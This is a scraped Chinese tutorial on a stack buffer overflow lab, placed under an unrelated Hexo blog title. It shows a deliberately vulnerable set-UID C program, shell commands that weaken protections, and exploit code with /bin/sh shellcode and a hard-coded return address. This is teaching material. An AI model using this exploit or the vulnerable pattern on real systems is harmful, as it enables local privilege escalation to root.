1. 程式人生 > 其它 >Hexo+NexT8.1+Waline踩坑記錄

Hexo+NexT8.1+Waline踩坑記錄

緩衝區溢位漏洞實驗

1. 實驗原理

  • 緩衝區溢位是指程式試圖向緩衝區寫入超出預分配固定長度資料的情況。這一漏洞可以被惡意使用者利用來改變程式的流控制,甚至執行程式碼的任意片段。這一漏洞的出現是由於資料緩衝器和返回地址的暫時關閉,溢位會引起返回地址被重寫。

2.實驗準備

  • 系統使用者名稱 shiyanlou
  • 實驗樓提供的是 64 位 Ubuntu linux,而本次實驗為了方便觀察彙編語句,我們需要在 32 位環境下作操作,因此實驗之前需要做一些準備。
  • 注意gdb的安裝,實驗樓中沒有Python的安裝包
  1. sudo apt-get update
  2. sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
  3. sudo apt-get install -y gdb

3.開始實驗

  • 初始化設定
    sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit
    1、Ubuntu 和其他一些 Linux 系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的記憶體地址變得十分困難,而猜測記憶體地址是緩衝區溢位攻擊的關鍵。因此本次實驗中,我們使用以下命令關閉這一功能:

    2、此外,為了進一步防範緩衝區溢位攻擊及其它利用 shell 程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權。因此,即使你能欺騙一個 Set-UID 程式呼叫一個 shell,也不能在這個 shell 中保持 root 許可權,這個防護措施在 /bin/bash 中實現。
    linux 系統中,/bin/sh 實際是指向 /bin/bash 或 /bin/dash 的一個符號連結。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程式(zsh)代替 /bin/bash。下面的指令描述瞭如何設定 zsh 程式:
    sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit

    3、輸入命令 linux32 進入32位linux環境。此時你會發現,命令列用起來沒那麼爽了,比如不能tab補全了,輸入 /bin/bash 使用bash:
  • ** 漏洞程式**
在 /tmp 目錄下新建一個 stack.c 檔案:

cd /tmp
vim stack.c

stack.c,通過程式碼可以知道,程式會讀取一個名為“badfile”的檔案,並將檔案內容裝入“buffer”。

(程式碼如下)

點選檢視程式碼
/* stack.c */
 
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
int bof(char *str)
{
    char buffer[12];
 
    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);
 
    return 1;
}
 
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
 
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
 
    printf("Returned Properly\n");
    return 1;
}
  • 編譯該程式,並設定 SET-UID。命令如下:

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack

stack.c

chmod u+s stack

exit

  • 攻擊程式
    目的是攻擊剛才的漏洞程式,並通過攻擊獲得 root 許可權。在 /tmp 目錄下新建一個 exploit.c 檔案,輸入如下內容:
點選檢視程式碼
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;
 
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
 
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
 
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移處起始的四個位元組覆蓋sellcode地址  
    strcpy(buffer + 100, shellcode);   //將shellcode拷貝至buffer,偏移量設為了 100
 
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
現在我們要得到 shellcode 在記憶體中的地址,輸入命令進入 gdb 除錯:

gdb stack

disass main

esp 中就是 str 的起始地址,所以我們在地址 0x080484ee 處設定斷點。

(我自己實際進行操作後得出的地址為ffffd4b0)
經過計算後得出答案

自己進行修改時為將“x??\x??\x??\x??”改為“x14\xd5\xff\xff”

  • 攻擊結果

先執行攻擊程式 exploit,再執行漏洞程式 stack,觀察結果: